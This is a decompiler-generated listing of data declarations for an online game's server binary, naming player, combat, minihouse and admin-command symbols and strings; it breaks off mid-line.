/* This file has been generated by the Hex-Rays decompiler. Copyright (c) 2007-2011 Hex-Rays Detected compiler: Visual C++ */ #include #include #include //------------------------------------------------------------------------- // Data declarations extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_AmpersandCommand_LevelUp; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_GetExperienceFromMob; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mobile_IsEnemy; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MakeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_charbasedata; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_CharAbstateData; // weak extern void *FieldMap::fm_Compare; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_SaveLocation; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Chat; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Shout; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_Shout; // weak extern _UNKNOWN FieldMap::FieldMap; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReType; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReName; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCapture; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCaptureCast; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Summon2GuildTournament; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemLotInspecting; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Volley; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_TargetChange; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_smo_CrossCounterDamage; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_smo_CrossCounterDamage; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_View; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_RegenList; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_Routine; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_NPC_MENU_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD; // weak extern _UNKNOWN sub_4C4C44; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_scene_Duplicate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_IsCanSessionCloseing; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_DICE_GAME_START_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_ADD_GEM_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_REMOVE_GEM_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_ADD_NEW_SOCKET_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_NpcReaction; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemBuyGuildToken; // weak extern _UNKNOWN loc_504321; // weak extern _UNKNOWN sub_50434F; // weak extern _UNKNOWN loc_504398; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mh_Move2MiniHouseFurniture; // weak extern _UNKNOWN ShineObjectClass::ShineObject::__unnamed::___unnamed; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_AbnormalState_Reset; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_SaveWeaponTitle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_Judgement; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheck; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheckConsume; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::smo_ReflectionDamage; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_ItemActonAbstateApp; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_AddItemAction; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_DelItemAction; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_OFF_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_Routine; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_SetMHPortalList; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_AddMHPortal; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetNextFurnitureHandle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_SaveMHInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_LogOut; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetFurnitureInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUpdate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ; // weak extern _UNKNOWN sub_544450; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_PortalEffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ; // weak extern _UNKNOWN sub_545350; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_EffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_Schedule_CastingBar; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::hasObserver; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_CeaseFireSend; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_AllOff; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_PassiveSetAbstate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Revival; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::smo_LightningWaveSkill; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK; // weak extern char GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK[5]; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ; // weak extern _UNKNOWN sub_5A4E45; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_BUY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_SELL_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ; // weak extern char byte_5F3204[]; // weak extern _UNKNOWN _L20001; // weak extern _UNKNOWN _L20299_0; // weak extern _UNKNOWN _L20039; // weak extern _UNKNOWN _L20316; // weak extern _UNKNOWN _L20269; // weak extern _UNKNOWN _L19999; // weak extern _UNKNOWN _L20333; // weak extern _UNKNOWN _L21348; // weak extern _UNKNOWN _L19999_0; // weak extern _UNKNOWN _L20378; // weak extern _UNKNOWN _L20375; // weak extern _UNKNOWN _L19917_0; // weak extern _UNKNOWN _L20443_0; // weak extern _UNKNOWN _E23_2; // weak extern _UNKNOWN _E32_0; // weak extern _UNKNOWN _E80; // weak extern _UNKNOWN _E89; // weak extern _UNKNOWN _E110; // weak extern _UNKNOWN _E122; // weak // extern PFUNCTION_TABLE_ACCESS_ROUTINE64 SymFunctionTableAccess64; // extern PGET_MODULE_BASE_ROUTINE64 SymGetModuleBase64; extern char message[]; // idb extern char aAbnormalstated[]; // idb extern int (*AbnormalStateContainer::SubAbnormalStateActor::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateFear::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElement::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementNormal::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementRecover::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateReinforcedMove::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePartyEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateRestCount::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateEachTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateHide::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePolymorph::_vftable_)(); // weak extern char aBase[5]; // weak extern char aNormal[7]; // weak extern char aParty[6]; // weak extern char aGldaca[7]; // weak extern char aWedcpl[7]; // weak extern char aRecover[8]; // weak extern char aReinforcedmove[15]; // weak extern char aRestcount[10]; // weak extern char aTick[5]; // weak extern char aEachtick[9]; // weak extern char aHide[5]; // weak extern char aPolymorph[]; // idb extern char aActor[6]; // weak extern char aMaxhp[6]; // weak extern char aFear[5]; // weak extern char aCaptivate[10]; // weak extern char aPoison[7]; // weak extern char aRangedamage[12]; // weak extern char aDisease[8]; // weak extern char aHpheal[7]; // weak extern char aSpheal[7]; // weak extern char aHpspheal[9]; // weak extern char aShield[]; // idb extern char aManashield[11]; // weak extern char aPartyrecharge[14]; // weak extern char aSelfrevive[11]; // weak extern char aRangeintercept[15]; // weak extern char aLastdmgretio[13]; // weak extern char aLastdmgratio_d[21]; // weak extern char aTimeattack[11]; // weak extern char aCastdelay[10]; // weak extern char aIgnorecooltime[15]; // weak extern char aSilence[8]; // weak extern char aOneusesilence[14]; // weak extern char aBomb[5]; // weak extern char aUsespdown[10]; // weak extern char aMagicfield[11]; // weak extern char aHidedamage[11]; // weak extern char aAbnormalstatee[]; // idb extern int (*AbnormalStateContainer::AbnormalStateCouplePartyEnchant::_vftable_)(); // weak extern int (__stdcall *AxialListNearScanParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanCoupleParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanGuildAcademy::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSilencetoone::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_)(); // weak extern char aAbnormalsta_74[]; // idb extern char aAbnormalsta_60[]; // idb extern int (__stdcall *AxialListNearScanFriend::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_)(); // weak extern int (__stdcall *AxialListNearScanCenterFriendCasterEnemy::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnea_6[59]; // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorBomb::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorUseSPDown::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateCannotTarget::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorMagicField::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHideDamage::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (*AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_)(); // weak extern char aAbnormalsta_19[]; // idb extern char aAbnormalsta_76[]; // idb extern char aAbnormalsta_54[]; // idb extern char aAbnormalstat_2[]; // idb extern char aAbnormalsta_64[]; // idb extern char asc_63222C[]; // idb extern char asc_63226C[]; // idb extern char aShineobjectc_1[]; // idb extern char asc_6322EC[]; // idb extern char asc_632330[]; // idb extern char asc_63237C[]; // idb extern char where[]; // idb extern char aAbnormalsta_58[]; // idb extern char aAbnormalsta_28[]; // idb extern char aAbnormalsta_55[]; // idb extern int (__stdcall *ListIter_ObjectAbStateRoutine::_vftable_)(int ele, char isterminated); // weak extern char aAbnormalsta_16[]; // idb extern char aAbnormalsta_72[]; // idb extern char aAbnormalstat_8[]; // idb extern char aAbnormalsta_13[]; // idb extern char aAbnormalsta_73[]; // idb extern char aAbnormalsta_20[]; // idb extern char aAbnormalsta_35[]; // idb extern char aAbnormalstat_5[]; // idb extern char aAbnormalsta_83[]; // idb extern char aAbnormalsta_63[]; // idb extern char aAbnormalsta_82[]; // idb extern char aAbnormalsta_71[]; // idb extern char aAbnormalstat_9[]; // idb extern char aAbnormalsta_80[]; // idb extern char aSubabnormals_1[]; // idb extern char aSubabnormalsta[]; // idb extern char aAbnormalsta_22[]; // idb extern char aAbnormalsta_65[]; // idb extern char aAbnormalsta_75[]; // idb extern char aAbnormalsta_39[]; // idb extern char aAbnormalsta_21[]; // idb extern char aAbnormalsta_25[]; // idb extern char aAbnormalsta_43[]; // idb extern char aAbnormalsta_84[]; // idb extern char aAbnormalstatec[]; // idb extern char asc_632D10[]; // idb extern char asc_632D4C[]; // idb extern char asc_632D7C[]; // idb extern char aAbnormalsta_44[]; // idb extern int (__stdcall *ListEraser::_vftable_)(int ele, __int16 handle); // weak extern char asc_632E08[2]; // idb extern char aSo_mobile_dama[25]; // weak extern char asc_632E60[]; // idb extern char asc_632EA0[]; // idb extern char aAbnormalsta_78[]; // idb extern char aAbnormalsta_56[]; // idb extern char aAbnormalsta_77[]; // idb extern char aAbnormalsta_50[]; // idb extern char aAbnormalsta_69[]; // idb extern char aAbnormalsta_40[]; // idb extern char aAbnormalsta_81[]; // idb extern char aAbnormalsta_53[]; // idb extern char aAbnormalsta_26[]; // idb extern char aAbnormalsta_23[]; // idb extern char aAbnormalsta_79[]; // idb extern char asc_633244[]; // idb extern char aAbnormalsta_37[]; // idb extern char aAbnormalsta_61[]; // idb extern char aAbnormalsta_48[]; // idb extern char aAbnormalsta_12[]; // idb extern char aAbnormalsta_41[]; // idb extern char aAbnormalstat_4[]; // idb extern char aAbnormalsta_49[]; // idb extern char aAbnormalstat_7[]; // idb extern char aAbnormalstat_1[]; // idb extern char asc_633560[]; // idb extern char aAxiallistnea_9[]; // idb extern char aAxiallistnea_7[]; // idb extern char aAxiallistnea_1[]; // idb extern char aAbnormalsta_42[]; // idb extern char aAbnormalsta_31[]; // idb extern char aAbnormalsta_36[]; // idb extern char aAbnormalsta_62[]; // idb extern char aAbnormalsta_67[]; // idb extern char asc_633788[]; // idb extern char asc_6337D0[]; // idb extern char aBinarydatabo_1[]; // idb extern char aCodeXDShnXD[]; // idb extern char aBinarydataboxT[]; // idb extern char a__9dataSubabst[]; // idb extern char aW[2]; // idb extern char fname[]; // idb extern char aAbnormalsta_57[]; // idb extern char aAbnormalstat_6[]; // idb extern char aAbnormalstat_0[]; // idb extern char aAbnormalsta_18[]; // idb extern char aAbnormalsta_59[]; // idb extern char dataHeroA::a[]; // idb extern int (__stdcall *UseEffect::UseItemJustReviveAtDead::_vftable_)(int, int itm); // weak extern char asc_633A18[]; // idb extern char asc_633A54[]; // idb extern char asc_633A88[]; // idb extern int (__stdcall *ChargedItemEffectList::ChargedEffectAfterLoginComplete::_vftable_)(int ele, __int16 handle); // weak extern char aChargediteme_8[]; // idb extern char asc_633B18[]; // idb extern char aChargediteme_3[]; // idb extern char asc_633BA4[]; // idb extern char asc_633BD8[]; // idb extern char asc_633C10[]; // idb extern char aAbnormalsta_47[]; // idb extern char asc_633C78[]; // idb extern char Ptr[]; // idb extern char aAbnormalstates[]; // idb extern char aUseeffectUs_41[]; // idb extern int (__thiscall *AxialListMobSuicide::_vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); // weak extern char aItemdataboxOpe[]; // idb extern char aMobdataboxOper[]; // idb extern char aSS02d_txt[]; // idb extern char a02d02d02d[]; // idb extern char a04d02d02d[]; // idb extern char format[]; // idb extern char aA_1[]; // idb extern char a_255s[]; // idb extern int (__stdcall *AxialListDoorAction::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AmpersandCommand::_vftable_[3])(__int16 hnd); // weak extern char aListiter_ampcm[]; // idb extern int (__stdcall *ListIter_AmpCmdArgument::_vftable_)(int ele, __int16 handle); // weak extern char aListiter_amp_3[]; // idb extern char aListiter_amp_4[]; // idb extern int (__stdcall *ListIter_AmpCmdLevel::_vftable_)(int ele, __int16 handle); // weak extern char aListiter_amp_2[]; // idb extern char aListiter_amp_5[]; // idb extern char aZoneserverZ_17[]; // idb extern char asc_633F5C[]; // idb extern char aAmpersandcom_0[]; // idb extern char aGateCloseIfLin[]; // idb extern char aNotePermanantl[]; // idb extern char aExMobbreed10Ro[]; // idb extern char aUsageTemplinkL[]; // idb extern char aExMobbreedSlim[]; // idb extern char aUsageMobbreedM[]; // idb extern char aD[3]; // idb extern char aAmpersandcom_2[]; // idb extern char aAmpersandcom_3[]; // idb extern char aTooManyAmpersa[]; // idb extern char aAdminLevelIsD[]; // idb extern char aAmpersandcom_7[]; // idb extern char aAmpersandcom_8[]; // idb extern char aEldpri[]; // idb extern char aInvalidMapName[]; // idb extern char aSecNeeded[]; // idb extern char aAmpersandco_11[]; // idb extern char aGuildNotFound[]; // idb extern char aAmpersandco_13[]; // idb extern MobTacticElement::MobActionArgument stru_63450C; // idb extern char aAmpersandco_30[]; // idb extern char aAmpersandco_31[]; // idb extern char aMainPerformanc[]; // idb extern char aAmpersandco_32[]; // idb extern char aDistanceDGrid[]; // idb extern char aAmpersandco_35[]; // idb extern char aAmpersandco_36[]; // idb extern char aAmpersandco_38[]; // idb extern char aFailToMfindNot[]; // idb extern char aAmpersandco_39[]; // idb extern char aFailToPfindNot[]; // idb extern char aAmpersandco_40[]; // idb extern char aAmpersandco_42[]; // idb extern char aAmpersandco_43[]; // idb extern char aAmpersandco_44[]; // idb extern char aAmpersandco_45[]; // idb extern char aAmpersandco_46[]; // idb extern char aAmpersandco_47[]; // idb extern char aNull_2[]; // idb extern char aAmpersandco_48[]; // idb extern char aAmpersandco_50[]; // idb extern char aAmpersandco_51[]; // idb extern char aAmpersandco_52[]; // idb extern char aAmpersandco_56[]; // idb extern char aPlayerNotFound[]; // idb extern char aAmpersandco_58[]; // idb extern char aAmpersandco_62[]; // idb extern char aAmpersandco_63[]; // idb extern char aThreadDDDDD[]; // idb extern char aAmpersandco_64[]; // idb extern char aFailedCannotFi[]; // idb extern char aAmpersandco_66[]; // idb extern char aAmpersandco_67[]; // idb extern char aAmpersandco_68[]; // idb extern char aAmpersandco_69[]; // idb extern char aAmpersandco_70[]; // idb extern char aWedding[]; // idb extern char aAmpersandco_71[]; // idb extern char aAmpersandco_80[]; // idb extern char aAmpersandco_81[]; // idb extern char a0[2]; // weak extern char aAmpersandco_82[]; // idb extern char aAmpersandco_86[]; // idb extern char aAmpersandco_87[]; // idb extern char aAmpersandco_88[]; // idb extern char aAmpersandco_89[]; // idb extern char aD_D_DDDU[]; // idb extern char aAmpersandco_90[]; // idb extern char aAmpersandco_92[]; // idb extern char aAmpersandco_94[]; // idb extern char aAmpersandco_95[]; // idb extern char aAllOfLogChange[]; // idb extern char aBalancelogChan[19]; // weak extern char aBalancelog[]; // idb extern char aAmpersandco_96[]; // idb extern char aCZB_[31]; // weak extern char a16CKF_[33]; // weak extern char aDB[11]; // weak extern char a111666CCZJINF_[45]; // weak extern char aAmpersandco_97[]; // idb extern char asc_635844[]; // idb extern char asc_635868[8]; // weak extern char asc_63587C[8]; // weak extern char asc_635890[]; // idb extern char asc_6358B0[12]; // weak extern char aO_0[10]; // weak extern char asc_6358D0[]; // idb extern char aSp_nc_skill_pr[]; // idb extern char asc_63597C[]; // idb extern char asc_63599C[]; // idb extern char aRoucos02[]; // idb extern char asc_6359CC[]; // idb extern char aItemActionCool[]; // idb extern char asc_635A38[]; // idb extern char aWholesaverWs_s[]; // idb extern char asc_635A9C[]; // idb extern char asc_635AC0[]; // idb extern char aSSDD[]; // idb extern char aNpcCoordDataEr[21]; // weak extern char aNpcFieldDataEr[21]; // weak extern char aNotFindNpc[13]; // weak extern char aInvalidNpcInde[]; // idb extern char asc_635B48[]; // idb extern char aTotalPlyDMobD[]; // idb extern char aSPlyDMobD[]; // idb extern char asc_635C90[]; // idb extern char asc_635CB8[]; // idb extern char asc_635CD8[]; // idb extern char asc_635D28[]; // idb extern char str[]; // idb extern char asc_635D64[]; // idb extern char asc_635D98[]; // idb extern char aBigbangScriptU[]; // idb extern char asc_635DD4[]; // idb extern char aInvalidVectorT[]; // idb extern char aMaxhpPlueOk[]; // idb extern char byte_635E1E[2]; // idb extern char asc_635E20[]; // idb extern char aMaxspPlueOk[]; // idb extern char asc_635E50[]; // idb extern char aReroadActivesk[]; // idb extern char aActiveskill[]; // idb extern char asc_635E94[]; // idb extern char aSmo_setcapti_1[]; // idb extern char aSmo_setcaptiva[22]; // weak extern char a1[]; // idb extern char asc_635EE8[]; // idb extern char aIgnoreskillc_1[]; // idb extern char aIgnoreskillcoo[26]; // weak extern char aSpeedChangeOk[]; // idb extern char aCmt[]; // idb extern char aArrangeiv[]; // idb extern char aGmtestmode[]; // idb extern char aFnpc[]; // idb extern char aGetmoney[]; // idb extern char aMobitemdrop[]; // idb extern char aPfgtset[]; // idb extern char aLuafuncexec[]; // idb extern char aLuaobserver[]; // idb extern char aEbcu[]; // idb extern char aViewaggrolist[]; // idb extern char aGodofslotmachi[]; // idb extern char aSlotmachine[]; // idb extern char aReleasechatban[]; // idb extern char aIdtimechange[]; // idb extern char aDisposition[]; // idb extern char aQuestread[]; // idb extern char aQueststart[]; // idb extern char aIareset[]; // idb extern char aGtieffect[]; // idb extern char aTestlink[]; // idb extern char aC_9[8]; // idb extern char aMobregenlist[]; // idb extern char aShowallchar[]; // idb extern char aLevelup[]; // idb extern char aAlllearnskill[]; // idb extern char aBigbang[]; // idb extern char aPlayins[]; // idb extern char aInraid[]; // idb extern char aOutraid[]; // idb extern char aMakeraid[]; // idb extern char aFreestatapp[]; // idb extern char aGb_diceprobabi[]; // idb extern char 